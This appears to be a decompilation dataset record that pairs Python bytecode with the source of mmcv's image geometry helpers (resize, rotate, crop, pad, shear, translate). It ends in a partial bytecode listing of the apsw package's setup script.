CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL tuple LOAD_FAST border_value BUILD_LIST LOAD_FAST channels BINARY_MULTIPLY CALL_FUNCTION STORE_FAST border_value JUMP_FORWARD to 166 LOAD_GLOBAL isinstance LOAD_FAST border_value LOAD_GLOBAL tuple CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST border_value CALL_FUNCTION LOAD_FAST channels COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Expected the num of elements in tuple equals the channelsof input image. Found {} vs {}' LOAD_METHOD format LOAD_GLOBAL len LOAD_FAST border_value CALL_FUNCTION LOAD_FAST channels CALL_METHOD CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 166 LOAD_GLOBAL ValueError LOAD_CONST 'Invalid type ' LOAD_GLOBAL type LOAD_FAST border_value CALL_FUNCTION FORMAT_VALUE LOAD_CONST ' for `border_value`.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL _get_translate_matrix LOAD_FAST offset LOAD_FAST direction CALL_FUNCTION STORE_FAST translate_matrix LOAD_GLOBAL cv2 LOAD_ATTR warpAffine LOAD_FAST img LOAD_FAST translate_matrix LOAD_FAST width LOAD_FAST height BUILD_TUPLE LOAD_FAST border_value LOAD_CONST None LOAD_CONST 3 BUILD_SLICE BINARY_SUBSCR LOAD_GLOBAL cv2_interp_codes LOAD_FAST interpolation BINARY_SUBSCR LOAD_CONST ('borderValue', 'flags') CALL_FUNCTION STORE_FAST translated LOAD_FAST translated RETURN_VALUE
import numbers from typing import List, Optional, Tuple, Union, no_type_check import cv2 import numpy as np from mmengine.utils import to_2tuple from .io import imread_backend try: from PIL import Image except ImportError: Image = None def _scale_size( size: Tuple[int, int], scale: Union[float, int, Tuple[float, float], Tuple[int, int]], ) -> Tuple[int, int]: """Rescale a size by a ratio. Args: size (tuple[int]): (w, h). scale (float | int | tuple(float) | tuple(int)): Scaling factor. Returns: tuple[int]: scaled size. """ if isinstance(scale, (float, int)): scale = (scale, scale) w, h = size return int(w * float(scale[0]) + 0.5), int(h * float(scale[1]) + 0.5) cv2_interp_codes = { "nearest": cv2.INTER_NEAREST, "bilinear": cv2.INTER_LINEAR, "bicubic": cv2.INTER_CUBIC, "area": cv2.INTER_AREA, "lanczos": cv2.INTER_LANCZOS4, } cv2_border_modes = { "constant": cv2.BORDER_CONSTANT, "replicate": cv2.BORDER_REPLICATE, "reflect": cv2.BORDER_REFLECT, "wrap": cv2.BORDER_WRAP, "reflect_101": cv2.BORDER_REFLECT_101, "transparent": cv2.BORDER_TRANSPARENT, "isolated": cv2.BORDER_ISOLATED, } if Image is not None: if hasattr(Image, "Resampling"): pillow_interp_codes = { "nearest": Image.Resampling.NEAREST, "bilinear": Image.Resampling.BILINEAR, "bicubic": Image.Resampling.BICUBIC, "box": Image.Resampling.BOX, "lanczos": Image.Resampling.LANCZOS, "hamming": Image.Resampling.HAMMING, } else: pillow_interp_codes = { "nearest": Image.NEAREST, "bilinear": Image.BILINEAR, "bicubic": Image.BICUBIC, "box": Image.BOX, "lanczos": Image.LANCZOS, "hamming": Image.HAMMING, } def imresize( img: np.ndarray, size: Tuple[int, int], return_scale: bool = False, interpolation: str = "bilinear", out: Optional[np.ndarray] = None, backend: Optional[str] = None, ) -> Union[Tuple[np.ndarray, float, float], np.ndarray]: """Resize image to a given size. Args: img (ndarray): The input image. size (tuple[int]): Target size (w, h). return_scale (bool): Whether to return `w_scale` and `h_scale`. interpolation (str): Interpolation method, accepted values are "nearest", "bilinear", "bicubic", "area", "lanczos" for 'cv2' backend, "nearest", "bilinear" for 'pillow' backend. out (ndarray): The output destination. backend (str | None): The image resize backend type. Options are `cv2`, `pillow`, `None`. If backend is None, the global imread_backend specified by ``mmcv.use_backend()`` will be used. Default: None. Returns: tuple | ndarray: (`resized_img`, `w_scale`, `h_scale`) or `resized_img`. """ h, w = img.shape[:2] if backend is None: backend = imread_backend if backend not in ["cv2", "pillow"]: raise ValueError( f"backend: {backend} is not supported for resize." f"Supported backends are 'cv2', 'pillow'" ) if backend == "pillow": assert img.dtype == np.uint8, "Pillow backend only support uint8 type" pil_image = Image.fromarray(img) pil_image = pil_image.resize(size, pillow_interp_codes[interpolation]) resized_img = np.array(pil_image) else: resized_img = cv2.resize( img, size, dst=out, interpolation=cv2_interp_codes[interpolation] ) if not return_scale: return resized_img else: w_scale = size[0] / w h_scale = size[1] / h return resized_img, w_scale, h_scale @no_type_check def imresize_to_multiple( img: np.ndarray, divisor: Union[int, Tuple[int, int]], size: Union[int, Tuple[int, int], None] = None, scale_factor: Union[float, int, Tuple[float, float], Tuple[int, int], None] = None, keep_ratio: bool = False, return_scale: bool = False, interpolation: str = "bilinear", out: Optional[np.ndarray] = None, backend: Optional[str] = None, ) -> Union[Tuple[np.ndarray, float, float], np.ndarray]: """Resize image according to a given size or scale factor and then rounds up the the resized or rescaled image size to the nearest value that can be divided by the divisor. Args: img (ndarray): The input image. divisor (int | tuple): Resized image size will be a multiple of divisor. If divisor is a tuple, divisor should be (w_divisor, h_divisor). size (None | int | tuple[int]): Target size (w, h). Default: None. scale_factor (None | float | int | tuple[float] | tuple[int]): Multiplier for spatial size. Should match input size if it is a tuple and the 2D style is (w_scale_factor, h_scale_factor). Default: None. keep_ratio (bool): Whether to keep the aspect ratio when resizing the image. Default: False. return_scale (bool): Whether to return `w_scale` and `h_scale`. interpolation (str): Interpolation method, accepted values are "nearest", "bilinear", "bicubic", "area", "lanczos" for 'cv2' backend, "nearest", "bilinear" for 'pillow' backend. out (ndarray): The output destination. backend (str | None): The image resize backend type. Options are `cv2`, `pillow`, `None`. If backend is None, the global imread_backend specified by ``mmcv.use_backend()`` will be used. Default: None. Returns: tuple | ndarray: (`resized_img`, `w_scale`, `h_scale`) or `resized_img`. """ h, w = img.shape[:2] if size is not None and scale_factor is not None: raise ValueError("only one of size or scale_factor should be defined") elif size is None and scale_factor is None: raise ValueError("one of size or scale_factor should be defined") elif size is not None: size = to_2tuple(size) if keep_ratio: size = rescale_size((w, h), size, return_scale=False) else: size = _scale_size((w, h), scale_factor) divisor = to_2tuple(divisor) size = tuple(int(np.ceil(s / d)) * d for s, d in zip(size, divisor)) resized_img, w_scale, h_scale = imresize( img, size, return_scale=True, interpolation=interpolation, out=out, backend=backend, ) if return_scale: return resized_img, w_scale, h_scale else: return resized_img def imresize_like( img: np.ndarray, dst_img: np.ndarray, return_scale: bool = False, interpolation: str = "bilinear", backend: Optional[str] = None, ) -> Union[Tuple[np.ndarray, float, float], np.ndarray]: """Resize image to the same size of a given image. Args: img (ndarray): The input image. dst_img (ndarray): The target image. return_scale (bool): Whether to return `w_scale` and `h_scale`. interpolation (str): Same as :func:`resize`. backend (str | None): Same as :func:`resize`. Returns: tuple or ndarray: (`resized_img`, `w_scale`, `h_scale`) or `resized_img`. """ h, w = dst_img.shape[:2] return imresize(img, (w, h), return_scale, interpolation, backend=backend) def rescale_size( old_size: tuple, scale: Union[float, int, Tuple[int, int]], return_scale: bool = False, ) -> tuple: """Calculate the new size to be rescaled to. Args: old_size (tuple[int]): The old size (w, h) of image. scale (float | int | tuple[int]): The scaling factor or maximum size. If it is a float number or an integer, then the image will be rescaled by this factor, else if it is a tuple of 2 integers, then the image will be rescaled as large as possible within the scale. return_scale (bool): Whether to return the scaling factor besides the rescaled image size. Returns: tuple[int]: The new rescaled image size. """ w, h = old_size if isinstance(scale, (float, int)): if scale <= 0: raise ValueError(f"Invalid scale {scale}, must be positive.") scale_factor = scale elif isinstance(scale, tuple): max_long_edge = max(scale) max_short_edge = min(scale) scale_factor = min(max_long_edge / max(h, w), max_short_edge / min(h, w)) else: raise TypeError( f"Scale must be a number or tuple of int, but got {type(scale)}" ) new_size = _scale_size((w, h), scale_factor) if return_scale: return new_size, scale_factor else: return new_size def imrescale( img: np.ndarray, scale: Union[float, int, Tuple[int, int]], return_scale: bool = False, interpolation: str = "bilinear", backend: Optional[str] = None, ) -> Union[np.ndarray, Tuple[np.ndarray, float]]: """Resize image while keeping the aspect ratio. Args: img (ndarray): The input image. scale (float | int | tuple[int]): The scaling factor or maximum size. If it is a float number or an integer, then the image will be rescaled by this factor, else if it is a tuple of 2 integers, then the image will be rescaled as large as possible within the scale. return_scale (bool): Whether to return the scaling factor besides the rescaled image. interpolation (str): Same as :func:`resize`. backend (str | None): Same as :func:`resize`. Returns: ndarray: The rescaled image. """ h, w = img.shape[:2] new_size, scale_factor = rescale_size((w, h), scale, return_scale=True) rescaled_img = imresize(img, new_size, interpolation=interpolation, backend=backend) if return_scale: return rescaled_img, scale_factor else: return rescaled_img def imflip(img: np.ndarray, direction: str = "horizontal") -> np.ndarray: """Flip an image horizontally or vertically. Args: img (ndarray): Image to be flipped. direction (str): The flip direction, either "horizontal" or "vertical" or "diagonal". Returns: ndarray: The flipped image. """ assert direction in ["horizontal", "vertical", "diagonal"] if direction == "horizontal": return np.flip(img, axis=1) elif direction == "vertical": return np.flip(img, axis=0) else: return np.flip(img, axis=(0, 1)) def imflip_(img: np.ndarray, direction: str = "horizontal") -> np.ndarray: """Inplace flip an image horizontally or vertically. Args: img (ndarray): Image to be flipped. direction (str): The flip direction, either "horizontal" or "vertical" or "diagonal". Returns: ndarray: The flipped image (inplace). """ assert direction in ["horizontal", "vertical", "diagonal"] if direction == "horizontal": return cv2.flip(img, 1, img) elif direction == "vertical": return cv2.flip(img, 0, img) else: return cv2.flip(img, -1, img) def imrotate( img: np.ndarray, angle: float, center: Optional[Tuple[float, float]] = None, scale: float = 1.0, border_value: int = 0, interpolation: str = "bilinear", auto_bound: bool = False, border_mode: str = "constant", ) -> np.ndarray: """Rotate an image. Args: img (np.ndarray): Image to be rotated. angle (float): Rotation angle in degrees, positive values mean clockwise rotation. center (tuple[float], optional): Center point (w, h) of the rotation in the source image. If not specified, the center of the image will be used. scale (float): Isotropic scale factor. border_value (int): Border value used in case of a constant border. Defaults to 0. interpolation (str): Same as :func:`resize`. auto_bound (bool): Whether to adjust the image size to cover the whole rotated image. border_mode (str): Pixel extrapolation method. Defaults to 'constant'. Returns: np.ndarray: The rotated image. """ if center is not None and auto_bound: raise ValueError("`auto_bound` conflicts with `center`") h, w = img.shape[:2] if center is None: center = ((w - 1) * 0.5, (h - 1) * 0.5) assert isinstance(center, tuple) matrix = cv2.getRotationMatrix2D(center, -angle, scale) if auto_bound: cos = np.abs(matrix[0, 0]) sin = np.abs(matrix[0, 1]) new_w = h * sin + w * cos new_h = h * cos + w * sin matrix[0, 2] += (new_w - w) * 0.5 matrix[1, 2] += (new_h - h) * 0.5 w = int(np.round(new_w)) h = int(np.round(new_h)) rotated = cv2.warpAffine( img, matrix, (w, h), flags=cv2_interp_codes[interpolation], borderMode=cv2_border_modes[border_mode], borderValue=border_value, ) return rotated def bbox_clip(bboxes: np.ndarray, img_shape: Tuple[int, int]) -> np.ndarray: """Clip bboxes to fit the image shape. Args: bboxes (ndarray): Shape (..., 4*k) img_shape (tuple[int]): (height, width) of the image. Returns: ndarray: Clipped bboxes. """ assert bboxes.shape[-1] % 4 == 0 cmin = np.empty(bboxes.shape[-1], dtype=bboxes.dtype) cmin[0::2] = img_shape[1] - 1 cmin[1::2] = img_shape[0] - 1 clipped_bboxes = np.maximum(np.minimum(bboxes, cmin), 0) return clipped_bboxes def bbox_scaling( bboxes: np.ndarray, scale: float, clip_shape: Optional[Tuple[int, int]] = None ) -> np.ndarray: """Scaling bboxes w.r.t the box center. Args: bboxes (ndarray): Shape(..., 4). scale (float): Scaling factor. clip_shape (tuple[int], optional): If specified, bboxes that exceed the boundary will be clipped according to the given shape (h, w). Returns: ndarray: Scaled bboxes. """ if float(scale) == 1.0: scaled_bboxes = bboxes.copy() else: w = bboxes[..., 2] - bboxes[..., 0] + 1 h = bboxes[..., 3] - bboxes[..., 1] + 1 dw = (w * (scale - 1)) * 0.5 dh = (h * (scale - 1)) * 0.5 scaled_bboxes = bboxes + np.stack((-dw, -dh, dw, dh), axis=-1) if clip_shape is not None: return bbox_clip(scaled_bboxes, clip_shape) else: return scaled_bboxes def imcrop( img: np.ndarray, bboxes: np.ndarray, scale: float = 1.0, pad_fill: Union[float, list, None] = None, ) -> Union[np.ndarray, List[np.ndarray]]: """Crop image patches. 3 steps: scale the bboxes -> clip bboxes -> crop and pad. Args: img (ndarray): Image to be cropped. bboxes (ndarray): Shape (k, 4) or (4, ), location of cropped bboxes. scale (float, optional): Scale ratio of bboxes, the default value 1.0 means no scaling. pad_fill (Number | list[Number]): Value to be filled for padding. Default: None, which means no padding. Returns: list[ndarray] | ndarray: The cropped image patches. """ chn = 1 if img.ndim == 2 else img.shape[2] if pad_fill is not None: if isinstance(pad_fill, (int, float)): pad_fill = [pad_fill for _ in range(chn)] assert len(pad_fill) == chn _bboxes = bboxes[None, ...] if bboxes.ndim == 1 else bboxes scaled_bboxes = bbox_scaling(_bboxes, scale).astype(np.int32) clipped_bbox = bbox_clip(scaled_bboxes, img.shape) patches = [] for i in range(clipped_bbox.shape[0]): x1, y1, x2, y2 = tuple(clipped_bbox[i, :]) if pad_fill is None: patch = img[y1 : y2 + 1, x1 : x2 + 1, ...] else: _x1, _y1, _x2, _y2 = tuple(scaled_bboxes[i, :]) patch_h = _y2 - _y1 + 1 patch_w = _x2 - _x1 + 1 if chn == 1: patch_shape = (patch_h, patch_w) else: patch_shape = (patch_h, patch_w, chn) # type: ignore patch = np.array(pad_fill, dtype=img.dtype) * np.ones( patch_shape, dtype=img.dtype ) x_start = 0 if _x1 >= 0 else -_x1 y_start = 0 if _y1 >= 0 else -_y1 w = x2 - x1 + 1 h = y2 - y1 + 1 patch[y_start : y_start + h, x_start : x_start + w, ...] = img[ y1 : y1 + h, x1 : x1 + w, ... ] patches.append(patch) if bboxes.ndim == 1: return patches[0] else: return patches def impad( img: np.ndarray, *, shape: Optional[Tuple[int, int]] = None, padding: Union[int, tuple, None] = None, pad_val: Union[float, List] = 0, padding_mode: str = "constant", ) -> np.ndarray: """Pad the given image to a certain shape or pad on all sides with specified padding mode and padding value. Args: img (ndarray): Image to be padded. shape (tuple[int]): Expected padding shape (h, w). Default: None. padding (int or tuple[int]): Padding on each border. If a single int is provided this is used to pad all borders. If tuple of length 2 is provided this is the padding on left/right and top/bottom respectively. If a tuple of length 4 is provided this is the padding for the left, top, right and bottom borders respectively. Default: None. Note that `shape` and `padding` can not be both set. pad_val (Number | Sequence[Number]): Values to be filled in padding areas when padding_mode is 'constant'. Default: 0. padding_mode (str): Type of padding. Should be: constant, edge, reflect or symmetric. Default: constant. - constant: pads with a constant value, this value is specified with pad_val. - edge: pads with the last value at the edge of the image. - reflect: pads with reflection of image without repeating the last value on the edge. For example, padding [1, 2, 3, 4] with 2 elements on both sides in reflect mode will result in [3, 2, 1, 2, 3, 4, 3, 2]. - symmetric: pads with reflection of image repeating the last value on the edge. For example, padding [1, 2, 3, 4] with 2 elements on both sides in symmetric mode will result in [2, 1, 1, 2, 3, 4, 4, 3] Returns: ndarray: The padded image. """ assert (shape is not None) ^ (padding is not None) if shape is not None: width = max(shape[1] - img.shape[1], 0) height = max(shape[0] - img.shape[0], 0) padding = (0, 0, width, height) if isinstance(pad_val, tuple): assert len(pad_val) == img.shape[-1] elif not isinstance(pad_val, numbers.Number): raise TypeError( "pad_val must be a int or a tuple. " f"But received {type(pad_val)}" ) if isinstance(padding, tuple) and len(padding) in [2, 4]: if len(padding) == 2: padding = (padding[0], padding[1], padding[0], padding[1]) elif isinstance(padding, numbers.Number): padding = (padding, padding, padding, padding) else: raise ValueError( "Padding must be a int or a 2, or 4 element tuple." f"But received {padding}" ) assert padding_mode in ["constant", "edge", "reflect", "symmetric"] border_type = { "constant": cv2.BORDER_CONSTANT, "edge": cv2.BORDER_REPLICATE, "reflect": cv2.BORDER_REFLECT_101, "symmetric": cv2.BORDER_REFLECT, } img = cv2.copyMakeBorder( img, padding[1], padding[3], padding[0], padding[2], border_type[padding_mode], value=pad_val, ) return img def impad_to_multiple( img: np.ndarray, divisor: int, pad_val: Union[float, List] = 0 ) -> np.ndarray: """Pad an image to ensure each edge to be multiple to some number. Args: img (ndarray): Image to be padded. divisor (int): Padded image edges will be multiple to divisor. pad_val (Number | Sequence[Number]): Same as :func:`impad`. Returns: ndarray: The padded image. """ pad_h = int(np.ceil(img.shape[0] / divisor)) * divisor pad_w = int(np.ceil(img.shape[1] / divisor)) * divisor return impad(img, shape=(pad_h, pad_w), pad_val=pad_val) def cutout( img: np.ndarray, shape: Union[int, Tuple[int, int]], pad_val: Union[int, float, tuple] = 0, ) -> np.ndarray: """Randomly cut out a rectangle from the original img. Args: img (ndarray): Image to be cutout. shape (int | tuple[int]): Expected cutout shape (h, w). If given as a int, the value will be used for both h and w. pad_val (int | float | tuple[int | float]): Values to be filled in the cut area. Defaults to 0. Returns: ndarray: The cutout image. """ channels = 1 if img.ndim == 2 else img.shape[2] if isinstance(shape, int): cut_h, cut_w = shape, shape else: assert isinstance(shape, tuple) and len(shape) == 2, ( f"shape must be a int or a tuple with length 2, but got type " f"{type(shape)} instead." ) cut_h, cut_w = shape if isinstance(pad_val, (int, float)): pad_val = tuple([pad_val] * channels) elif isinstance(pad_val, tuple): assert len(pad_val) == channels, ( "Expected the num of elements in tuple equals the channels" "of input image. Found {} vs {}".format(len(pad_val), channels) ) else: raise TypeError(f"Invalid type {type(pad_val)} for `pad_val`") img_h, img_w = img.shape[:2] y0 = np.random.uniform(img_h) x0 = np.random.uniform(img_w) y1 = int(max(0, y0 - cut_h / 2.0)) x1 = int(max(0, x0 - cut_w / 2.0)) y2 = min(img_h, y1 + cut_h) x2 = min(img_w, x1 + cut_w) if img.ndim == 2: patch_shape = (y2 - y1, x2 - x1) else: patch_shape = (y2 - y1, x2 - x1, channels) # type: ignore img_cutout = img.copy() patch = np.array(pad_val, dtype=img.dtype) * np.ones(patch_shape, dtype=img.dtype) img_cutout[y1:y2, x1:x2, ...] = patch return img_cutout def _get_shear_matrix( magnitude: Union[int, float], direction: str = "horizontal" ) -> np.ndarray: """Generate the shear matrix for transformation. Args: magnitude (int | float): The magnitude used for shear. direction (str): The flip direction, either "horizontal" or "vertical". Returns: ndarray: The shear matrix with dtype float32. """ if direction == "horizontal": shear_matrix = np.float32([[1, magnitude, 0], [0, 1, 0]]) elif direction == "vertical": shear_matrix = np.float32([[1, 0, 0], [magnitude, 1, 0]]) return shear_matrix def imshear( img: np.ndarray, magnitude: Union[int, float], direction: str = "horizontal", border_value: Union[int, Tuple[int, int]] = 0, interpolation: str = "bilinear", ) -> np.ndarray: """Shear an image. Args: img (ndarray): Image to be sheared with format (h, w) or (h, w, c). magnitude (int | float): The magnitude used for shear. direction (str): The flip direction, either "horizontal" or "vertical". border_value (int | tuple[int]): Value used in case of a constant border. interpolation (str): Same as :func:`resize`. Returns: ndarray: The sheared image. """ assert direction in ["horizontal", "vertical"], f"Invalid direction: {direction}" height, width = img.shape[:2] if img.ndim == 2: channels = 1 elif img.ndim == 3: channels = img.shape[-1] if isinstance(border_value, int): border_value = tuple([border_value] * channels) # type: ignore elif isinstance(border_value, tuple): assert len(border_value) == channels, ( "Expected the num of elements in tuple equals the channels" "of input image. Found {} vs {}".format(len(border_value), channels) ) else: raise ValueError(f"Invalid type {type(border_value)} for `border_value`") shear_matrix = _get_shear_matrix(magnitude, direction) sheared = cv2.warpAffine( img, shear_matrix, (width, height), borderValue=border_value[:3], # type: ignore flags=cv2_interp_codes[interpolation], ) return sheared def _get_translate_matrix( offset: Union[int, float], direction: str = "horizontal" ) -> np.ndarray: """Generate the translate matrix. Args: offset (int | float): The offset used for translate. direction (str): The translate direction, either "horizontal" or "vertical". Returns: ndarray: The translate matrix with dtype float32. """ if direction == "horizontal": translate_matrix = np.float32([[1, 0, offset], [0, 1, 0]]) elif direction == "vertical": translate_matrix = np.float32([[1, 0, 0], [0, 1, offset]]) return translate_matrix def imtranslate( img: np.ndarray, offset: Union[int, float], direction: str = "horizontal", border_value: Union[int, tuple] = 0, interpolation: str = "bilinear", ) -> np.ndarray: """Translate an image. Args: img (ndarray): Image to be translated with format (h, w) or (h, w, c). offset (int | float): The offset used for translate. direction (str): The translate direction, either "horizontal" or "vertical". border_value (int | tuple[int]): Value used in case of a constant border. interpolation (str): Same as :func:`resize`. Returns: ndarray: The translated image. """ assert direction in ["horizontal", "vertical"], f"Invalid direction: {direction}" height, width = img.shape[:2] if img.ndim == 2: channels = 1 elif img.ndim == 3: channels = img.shape[-1] if isinstance(border_value, int): border_value = tuple([border_value] * channels) elif isinstance(border_value, tuple): assert len(border_value) == channels, ( "Expected the num of elements in tuple equals the channels" "of input image. Found {} vs {}".format(len(border_value), channels) ) else: raise ValueError(f"Invalid type {type(border_value)} for `border_value`.") translate_matrix = _get_translate_matrix(offset, direction) translated = cv2.warpAffine( img, translate_matrix, (width, height), borderValue=border_value[:3], flags=cv2_interp_codes[interpolation], ) return translated
data/mmcv-2.1.0/mmcv/image/geometric.py
9,982
9,010
222,545
LOAD_CONST 0 LOAD_CONST ('annotations',) IMPORT_NAME __future__ IMPORT_FROM annotations STORE_NAME annotations POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST None IMPORT_NAME shlex STORE_NAME shlex LOAD_CONST 0 LOAD_CONST None IMPORT_NAME glob STORE_NAME glob LOAD_CONST 0 LOAD_CONST None IMPORT_NAME re STORE_NAME re LOAD_CONST 0 LOAD_CONST None IMPORT_NAME time STORE_NAME time LOAD_CONST 0 LOAD_CONST None IMPORT_NAME zipfile STORE_NAME zipfile LOAD_CONST 0 LOAD_CONST None IMPORT_NAME tarfile STORE_NAME tarfile LOAD_CONST 0 LOAD_CONST None IMPORT_NAME subprocess STORE_NAME subprocess LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sysconfig STORE_NAME sysconfig LOAD_CONST 0 LOAD_CONST None IMPORT_NAME shutil STORE_NAME shutil LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pathlib STORE_NAME pathlib LOAD_CONST 0 LOAD_CONST None IMPORT_NAME contextlib STORE_NAME contextlib LOAD_CONST 0 LOAD_CONST ('dataclass',) IMPORT_NAME dataclasses IMPORT_FROM dataclass STORE_NAME dataclass POP_TOP LOAD_CONST 0 LOAD_CONST ('setup', 'Extension', 'Command') IMPORT_NAME setuptools IMPORT_FROM setup STORE_NAME setup IMPORT_FROM Extension STORE_NAME Extension IMPORT_FROM Command STORE_NAME Command POP_TOP LOAD_CONST 0 LOAD_CONST ('build_ext', 'sdist') IMPORT_NAME setuptools.command IMPORT_FROM build_ext STORE_NAME build_ext IMPORT_FROM sdist STORE_NAME sdist POP_TOP SETUP_EXCEPT to 182 LOAD_CONST 0 LOAD_CONST ('build',) IMPORT_NAME setuptools.command IMPORT_FROM build STORE_NAME build POP_TOP POP_BLOCK JUMP_FORWARD to 214 DUP_TOP LOAD_NAME ImportError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST 0 LOAD_CONST ('build',) IMPORT_NAME distutils.command IMPORT_FROM build STORE_NAME build POP_TOP POP_EXCEPT JUMP_FORWARD to 214 END_FINALLY LOAD_CONST 0 LOAD_CONST None IMPORT_NAME distutils.ccompiler STORE_NAME distutils LOAD_CONST 'src' BUILD_LIST STORE_NAME include_dirs BUILD_LIST STORE_NAME library_dirs BUILD_LIST STORE_NAME define_macros BUILD_LIST STORE_NAME libraries LOAD_CONST False STORE_NAME patch SETUP_EXCEPT to 278 LOAD_CONST 0 LOAD_CONST None IMPORT_NAME distutils.dist STORE_NAME distutils LOAD_NAME hasattr LOAD_NAME distutils LOAD_ATTR dist LOAD_ATTR Distribution LOAD_CONST 'find_config_files' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True STORE_NAME patch POP_BLOCK JUMP_FORWARD to 300 DUP_TOP LOAD_NAME Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 300 END_FINALLY LOAD_NAME patch EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST <code object monkey_patched_find_config_files at 0x7fab416c6f60, file "f.py", line 45> LOAD_CONST 'monkey_patched_find_config_files' MAKE_FUNCTION STORE_NAME monkey_patched_find_config_files LOAD_NAME distutils LOAD_ATTR dist LOAD_ATTR Distribution LOAD_ATTR find_config_files STORE_NAME orig_find_local_files LOAD_NAME monkey_patched_find_config_files LOAD_NAME distutils LOAD_ATTR dist LOAD_ATTR Distribution STORE_ATTR find_config_files LOAD_CONST 'https://rogerbinns.github.io/apsw/changes.html' LOAD_CONST 'https://rogerbinns.github.io/apsw/' LOAD_CONST 'https://github.com/rogerbinns/apsw/issues' LOAD_CONST 'https://github.com/rogerbinns/apsw' LOAD_CONST 'https://rogerbinns.github.io/apsw/example.html' LOAD_CONST ('Changelog', 'Documentation', 'Issue Tracker', 'Code', 'Example') BUILD_CONST_KEY_MAP STORE_NAME project_urls LOAD_CONST <code object write at 0x7fab416c6270, file "f.py", line 64> LOAD_CONST 'write' MAKE_FUNCTION STORE_NAME write LOAD_CONST <code object read_whole_file at 0x7fab416c6ed0, file "f.py", line 73> LOAD_CONST 'read_whole_file' MAKE_FUNCTION STORE_NAME read_whole_file LOAD_CONST <code object write_whole_file at 0x7fab416c6420, file "f.py", line 82> LOAD_CONST 'write_whole_file' MAKE_FUNCTION STORE_NAME write_whole_file LOAD_NAME read_whole_file LOAD_NAME os LOAD_ATTR path LOAD_METHOD join LOAD_CONST 'src' LOAD_CONST 'apswversion.h' CALL_METHOD LOAD_CONST 'rt' CALL_FUNCTION LOAD_METHOD split CALL_METHOD LOAD_CONST 2 BINARY_SUBSCR LOAD_METHOD strip LOAD_CONST '"' CALL_METHOD STORE_NAME version LOAD_CONST <code object sqliteversion at 0x7fab416c6d20, file "f.py", line 96> LOAD_CONST 'sqliteversion' MAKE_FUNCTION STORE_NAME sqliteversion LOAD_CONST <code object fixup_download_url at 0x7faa532508a0, file "f.py", line 101> LOAD_CONST 'fixup_download_url' MAKE_FUNCTION STORE_NAME fixup_download_url LOAD_BUILD_CLASS LOAD_CONST <code object run_tests at 0x7faa53250b70, file "f.py", line 120> LOAD_CONST 'run_tests' MAKE_FUNCTION LOAD_CONST 'run_tests' LOAD_NAME Command CALL_FUNCTION STORE_NAME run_tests LOAD_BUILD_CLASS LOAD_CONST <code object build_test_extension at 0x7faa532500c0, file "f.py", line 146> LOAD_CONST 'build_test_extension' MAKE_FUNCTION LOAD_CONST 'build_test_extension' LOAD_NAME Command CALL_FUNCTION STORE_NAME build_test_extension LOAD_CONST <code object fixupcode at 0x7fab41505390, file "f.py", line 181> LOAD_CONST 'fixupcode' MAKE_FUNCTION STORE_NAME fixupcode BUILD_LIST STORE_GLOBAL fetch_parts LOAD_BUILD_CLASS LOAD_CONST <code object fetch at 0x7fab41ece1e0, file "f.py", line 196> LOAD_CONST 'fetch' MAKE_FUNCTION LOAD_CONST 'fetch' LOAD_NAME Command CALL_FUNCTION STORE_NAME fetch LOAD_CONST None STORE_GLOBAL build_enable LOAD_CONST None STORE_GLOBAL build_omit LOAD_CONST False STORE_GLOBAL build_enable_all_extensions LOAD_NAME build LOAD_ATTR build STORE_NAME bparent LOAD_BUILD_CLASS LOAD_CONST <code object apsw_build at 0x7fab41ece9c0, file "f.py", line 439> LOAD_CONST 'apsw_build' MAKE_FUNCTION LOAD_CONST 'apsw_build' LOAD_NAME bparent CALL_FUNCTION STORE_NAME apsw_build LOAD_CONST <code object findamalgamation at 0x7fab41ecea50, file "f.py", line 474> LOAD_CONST 'findamalgamation' MAKE_FUNCTION STORE_NAME findamalgamation LOAD_CONST 'bool' LOAD_CONST 'None' LOAD_CONST ('include_old', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object update_type_stubs_old_names at 0x7fab41ece5d0, file "f.py", line 487> LOAD_CONST 'update_type_stubs_old_names' MAKE_FUNCTION STORE_NAME update_type_stubs_old_names LOAD_NAME build_ext LOAD_ATTR build_ext STORE_NAME beparent LOAD_BUILD_CLASS LOAD_CONST <code object apsw_build_ext at 0x7fab41ecec00, file "f.py", line 507> LOAD_CONST 'apsw_build_ext' MAKE_FUNCTION LOAD_CONST 'apsw_build_ext' LOAD_NAME beparent CALL_FUNCTION STORE_NAME apsw_build_ext LOAD_NAME sdist LOAD_ATTR sdist STORE_NAME sparent LOAD_BUILD_CLASS LOAD_CONST <code object apsw_sdist at 0x7fab41eced20, file "f.py", line 708> LOAD_CONST 'apsw_sdist' MAKE_FUNCTION LOAD_CONST 'apsw_sdist' LOAD_NAME sparent CALL_FUNCTION STORE_NAME apsw_sdist LOAD_CONST 'str' LOAD_CONST ('outputfilename',) BUILD_CONST_KEY_MAP LOAD_CONST <code object set_config_from_system at 0x7fab41ecedb0, file "f.py", line 741> LOAD_CONST 'set_config_from_system' MAKE_FUNCTION STORE_NAME set_config_from_system LOAD_CONST <code object help_walker at 0x7fab41ecee40, file "f.py", line 795> LOAD_CONST 'help_walker' MAKE_FUNCTION STORE_NAME help_walker LOAD_CONST <code object add_doc at 0x7fab41eceed0, file "f.py", line 804> LOAD_CONST 'add_doc' MAKE_FUNCTION STORE_NAME add_doc LOAD_NAME dataclass LOAD_BUILD_CLASS LOAD_CONST <code object IcuConfig at 0x7fab41ecef60, file "f.py", line 830> LOAD_CONST 'IcuConfig' MAKE_FUNCTION LOAD_CONST 'IcuConfig' CALL_FUNCTION CALL_FUNCTION STORE_NAME 